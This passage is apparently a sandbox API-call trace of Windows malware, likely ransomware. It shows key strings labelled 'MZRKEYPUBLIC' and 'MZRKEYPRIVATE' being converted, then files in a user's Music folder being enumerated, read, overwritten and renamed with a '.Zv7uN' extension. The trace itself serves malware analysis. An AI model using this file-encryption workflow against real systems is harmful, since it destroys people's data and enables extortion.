fUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0086.260] GetCurrentThreadId () returned 0xa30 [0086.260] GetCurrentThreadId () returned 0xa30 [0086.260] GetCurrentThreadId () returned 0xa30 [0086.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.262] GetCurrentThreadId () returned 0xa30 [0086.262] GetCurrentThreadId () returned 0xa30 [0086.262] GetCurrentThreadId () returned 0xa30 [0086.262] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\M-B0QD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-b0qd.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.262] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.262] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.262] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x65b [0086.263] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.263] ReadFile (in: hFile=0x11c, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x65b, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0x65b, lpOverlapped=0x0) returned 1 [0086.264] CloseHandle (hObject=0x11c) returned 1 [0086.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\M-B0QD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-b0qd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.266] WriteFile (in: hFile=0x11c, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x65b, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f3e0*=0x65b, lpOverlapped=0x0) returned 1 [0086.268] CloseHandle (hObject=0x11c) returned 1 [0086.269] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\M-B0QD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-b0qd.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\M-B0QD.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-b0qd.wav.zv7un")) returned 1 [0086.270] GetCurrentThreadId () returned 0xa30 [0086.270] GetCurrentThreadId () returned 0xa30 [0086.270] GetCurrentThreadId () returned 0xa30 [0086.270] GetCurrentThreadId () returned 0xa30 [0086.270] GetCurrentThreadId () returned 0xa30 [0086.270] GetCurrentThreadId () returned 0xa30 [0086.270] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdd35760, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x4b86dbf0, ftLastAccessTime.dwHighDateTime=0x1d5d92e, ftLastWriteTime.dwLowDateTime=0x4b86dbf0, ftLastWriteTime.dwHighDateTime=0x1d5d92e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="m-XSe-Rm7qDih2", cAlternateFileName="M-XSE-~1")) returned 1 [0086.270] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794f17b0, ftCreationTime.dwHighDateTime=0x1d5e6c5, ftLastAccessTime.dwLowDateTime=0x5306b0f0, ftLastAccessTime.dwHighDateTime=0x1d5e566, ftLastWriteTime.dwLowDateTime=0x5306b0f0, ftLastWriteTime.dwHighDateTime=0x1d5e566, nFileSizeHigh=0x0, nFileSizeLow=0xd0d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OUwm.wav", cAlternateFileName="")) returned 1 [0086.270] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.270] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\OUwm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ouwm.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794f17b0, ftCreationTime.dwHighDateTime=0x1d5e6c5, ftLastAccessTime.dwLowDateTime=0x5306b0f0, ftLastAccessTime.dwHighDateTime=0x1d5e566, ftLastWriteTime.dwLowDateTime=0x5306b0f0, ftLastWriteTime.dwHighDateTime=0x1d5e566, nFileSizeHigh=0x0, nFileSizeLow=0xd0d)) returned 1 [0086.271] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\OUwm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ouwm.wav")) returned 0x20 [0086.271] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\OUwm.wav", dwFileAttributes=0x80) returned 1 [0086.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.275] GetCurrentThreadId () returned 0xa30 [0086.275] GetCurrentThreadId () returned 0xa30 [0086.275] GetCurrentThreadId () returned 0xa30 [0086.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0E